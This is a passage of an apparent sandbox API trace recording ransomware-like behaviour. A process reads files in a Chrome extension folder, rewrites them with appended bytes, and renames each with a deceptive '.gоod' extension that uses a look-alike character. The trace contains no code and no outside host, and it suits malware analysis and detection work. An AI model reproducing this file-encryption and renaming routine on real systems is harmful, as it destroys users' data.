nBufferLength=0x105, lpBuffer=0x209ecb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png", lpFilePart=0x0) returned 0x77 [0224.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed070) returned 1 [0224.373] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0224.373] GetFileType (hFile=0x808) returned 0x1 [0224.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecfe0) returned 1 [0224.373] GetFileType (hFile=0x808) returned 0x1 [0224.373] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x209ed1c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x209ed1c8*=0) returned 0x1000 [0224.373] ReadFile (in: hFile=0x808, lpBuffer=0x36895b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ed198, lpOverlapped=0x0 | out: lpBuffer=0x36895b8*, lpNumberOfBytesRead=0x209ed198*=0x378, lpOverlapped=0x0) returned 1 [0224.411] CloseHandle (hObject=0x808) returned 1 [0224.411] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png", nBufferLength=0x105, lpBuffer=0x209ecb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png", lpFilePart=0x0) returned 0x77 [0224.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed070) returned 1 [0224.412] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0224.412] GetFileType (hFile=0x808) returned 0x1 [0224.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecfe0) returned 1 [0224.412] GetFileType (hFile=0x808) returned 0x1 [0224.412] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x209ed1c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x209ed1c8*=0) returned 0x1378 [0224.412] WriteFile (in: hFile=0x808, lpBuffer=0x3711100*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x209ed0b8, lpOverlapped=0x0 | out: lpBuffer=0x3711100*, lpNumberOfBytesWritten=0x209ed0b8*=0x10, lpOverlapped=0x0) returned 1 [0224.412] CloseHandle (hObject=0x808) returned 1 [0224.412] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png", nBufferLength=0x105, lpBuffer=0x209ecb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png", lpFilePart=0x0) returned 0x77 [0224.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed070) returned 1 [0224.412] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0224.412] GetFileType (hFile=0x808) returned 0x1 [0224.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecfe0) returned 1 [0224.413] GetFileType (hFile=0x808) returned 0x1 [0224.413] ReadFile (in: hFile=0x808, lpBuffer=0x3713410, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ed148, lpOverlapped=0x0 | out: lpBuffer=0x3713410*, lpNumberOfBytesRead=0x209ed148*=0x1000, lpOverlapped=0x0) returned 1 [0225.116] CloseHandle (hObject=0x808) returned 1 [0225.116] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png", nBufferLength=0x105, lpBuffer=0x209ecb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png", lpFilePart=0x0) returned 0x77 [0225.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed070) returned 1 [0225.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.116] GetFileType (hFile=0x808) returned 0x1 [0225.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecfe0) returned 1 [0225.116] GetFileType (hFile=0x808) returned 0x1 [0225.116] WriteFile (in: hFile=0x808, lpBuffer=0x356cae0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x209ed1f8, lpOverlapped=0x0 | out: lpBuffer=0x356cae0*, lpNumberOfBytesWritten=0x209ed1f8*=0x1010, lpOverlapped=0x0) returned 1 [0225.117] CloseHandle (hObject=0x808) returned 1 [0225.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png", lpFilePart=0x0) returned 0x77 [0225.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png.gоod", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png.gоod", lpFilePart=0x0) returned 0x7c [0225.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed130) returned 1 [0225.117] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png"), fInfoLevelId=0x0, lpFileInformation=0x209ed210 | out: lpFileInformation=0x209ed210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82702b3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8b402ad, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8263f33f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1388)) returned 1 [0225.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed0f0) returned 1 [0225.117] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png.gоod")) returned 1 [0225.118] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js", lpFilePart=0x0) returned 0x89 [0225.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed170) returned 1 [0225.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js"), fInfoLevelId=0x0, lpFileInformation=0x3780ee8 | out: lpFileInformation=0x3780ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87e24c5, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87e4a72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x1103)) returned 1 [0225.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed130) returned 1 [0225.118] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js", nBufferLength=0x105, lpBuffer=0x209ecb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js", lpFilePart=0x0) returned 0x89 [0225.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed070) returned 1 [0225.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.119] GetFileType (hFile=0x808) returned 0x1 [0225.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecfe0) returned 1 [0225.119] GetFileType (hFile=0x808) returned 0x1 [0225.119] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x209ed1c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x209ed1c8*=0) returned 0x1000 [0225.119] ReadFile (in: hFile=0x808, lpBuffer=0x3781440, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ed198, lpOverlapped=0x0 | out: lpBuffer=0x3781440*, lpNumberOfBytesRead=0x209ed198*=0x103, lpOverlapped=0x0) returned 1 [0225.124] CloseHandle (hObject=0x808) returned 1 [0225.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js", nBufferLength=0x105, lpBuffer=0x209ecb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js", lpFilePart=0x0) returned 0x89 [0225.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed070) returned 1 [0225.124] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.124] GetFileType (hFile=0x808) returned 0x1 [0225.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecfe0) returned 1 [0225.124] GetFileType (hFile=0x808) returned 0x1 [0225.124] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x209ed1c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x209ed1c8*=0) returned 0x1103 [0225.125] WriteFile (in: hFile=0x808, lpBuffer=0x3786208*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x209ed0b8, lpOverlapped=0x0 | out: lpBuffer=0x3786208*, lpNumberOfBytesWritten=0x209ed0b8*=0x10, lpOverlapped=0x0) returned 1 [0225.125] CloseHandle (hObject=0x808) returned 1 [0225.125] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js", nBufferLength=0x105, lpBuffer=0x209ecb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js", lpFilePart=0x0) returned 0x89 [0225.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed070) returned 1 [0225.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.125] GetFileType (hFile=0x808) returned 0x1 [0225.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecfe0) returned 1 [0225.125] GetFileType (hFile=0x808) returned 0x1 [0225.125] ReadFile (in: hFile=0x808, lpBuffer=0x3788568, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ed148, lpOverlapped=0x0 | out: lpBuffer=0x3788568*, lpNumberOfBytesRead=0x209ed148*=0x1000, lpOverlapped=0x0) returned 1 [0225.199] CloseHandle (hObject=0x808) returned 1 [0225.199] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js", nBufferLength=0x105, lpBuffer=0x209ecb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js", lpFilePart=0x0) returned 0x89 [0225.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed070) returned 1 [0225.199] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.199] GetFileType (hFile=0x808) returned 0x1 [0225.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecfe0) returned 1 [0225.199] GetFileType (hFile=0x808) returned 0x1 [0225.199] WriteFile (in: hFile=0x808, lpBuffer=0x359f1e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x209ed1f8, lpOverlapped=0x0 | out: lpBuffer=0x359f1e0*, lpNumberOfBytesWritten=0x209ed1f8*=0x1010, lpOverlapped=0x0) returned 1 [0225.199] CloseHandle (hObject=0x808) returned 1 [0225.199] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js", lpFilePart=0x0) returned 0x89 [0225.199] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js.gоod", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js.gоod", lpFilePart=0x0) returned 0x8e [0225.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed130) returned 1 [0225.200] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js"), fInfoLevelId=0x0, lpFileInformation=0x209ed210 | out: lpFileInformation=0x209ed210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87e24c5, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87e4a72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x827241c1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1113)) returned 1 [0225.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed0f0) returned 1 [0225.200] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js.gоod")) returned 1 [0225.201] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json", lpFilePart=0x0) returned 0x88 [0225.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed170) returned 1 [0225.201] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json"), fInfoLevelId=0x0, lpFileInformation=0x360bd08 | out: lpFileInformation=0x360bd08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87ec116, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87ebfa2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x356)) returned 1 [0225.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed130) returned 1 [0225.201] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json", nBufferLength=0x105, lpBuffer=0x209ecb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json", lpFilePart=0x0) returned 0x88 [0225.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed020) returned 1 [0225.201] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.201] GetFileType (hFile=0x808) returned 0x1 [0225.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecf90) returned 1 [0225.201] GetFileType (hFile=0x808) returned 0x1 [0225.201] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x209ed1c8 | out: lpFileSizeHigh=0x209ed1c8*=0x0) returned 0x356 [0225.201] ReadFile (in: hFile=0x808, lpBuffer=0x360c448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ed0f8, lpOverlapped=0x0 | out: lpBuffer=0x360c448*, lpNumberOfBytesRead=0x209ed0f8*=0x356, lpOverlapped=0x0) returned 1 [0225.203] CloseHandle (hObject=0x808) returned 1 [0227.224] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json", nBufferLength=0x105, lpBuffer=0x209ecb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json", lpFilePart=0x0) returned 0x88 [0227.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed020) returned 1 [0227.224] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0227.770] GetFileType (hFile=0x858) returned 0x1 [0227.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ecf90) returned 1 [0227.775] GetFileType (hFile=0x858) returned 0x1 [0227.775] WriteFile (in: hFile=0x858, lpBuffer=0x39af630*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x209ed008, lpOverlapped=0x0 | out: lpBuffer=0x39af630*, lpNumberOfBytesWritten=0x209ed008*=0x360, lpOverlapped=0x0) returned 1 [0227.809] CloseHandle (hObject=0x858) returned 1 [0227.809] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json", lpFilePart=0x0) returned 0x88 [0227.809] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json.gоod", nBufferLength=0x105, lpBuffer=0x209ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json.gоod", lpFilePart=0x0) returned 0x8d [0227.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ed130) returned 1 [0227.809] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User 